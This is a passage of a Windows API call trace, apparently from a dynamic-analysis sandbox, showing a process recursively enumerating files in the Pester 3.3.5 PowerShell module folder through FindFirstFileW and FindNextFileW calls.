	[0182.736] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1
	[0182.736] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4034f90
	[0182.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\*", lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0182.736] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.736] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bin", cAlternateFileName="")) returned 1
	[0182.736] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0182.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\*", lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0182.737] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e40b4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.737] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1
	[0182.737] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0
	[0182.737] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0182.737] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.737] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1
	[0182.737] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2756, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1
	[0182.806] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0182.806] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0182.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\*", lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0182.806] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.806] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xc25, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1
	[0182.806] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1
	[0182.807] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1
	[0182.807] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x145e, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1
	[0182.807] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1
	[0182.807] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0
	[0182.807] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0182.807] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.807] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1
	[0182.807] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0182.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\*", lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0182.807] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.807] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1
	[0182.808] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0182.808] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\*", lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f3a8
	[0182.808] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.808] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2655, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1
	[0182.808] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.808] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.808] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0182.808] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0182.808] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1
	[0182.808] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0182.808] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator\\*", lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ee68
	[0182.808] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.808] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.809] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.809] FindClose (in: hFindFile=0x76ee68 | out: hFindFile=0x76ee68) returned 1
	[0182.809] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0182.809] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0
	[0182.809] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0182.809] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.809] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1
	[0182.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0182.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\*", lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0182.809] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.809] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1
	[0182.809] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0182.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\*", lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f3a8
	[0182.810] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.810] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x356e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.ps1", cAlternateFileName="")) returned 1
	[0182.810] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x339d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1
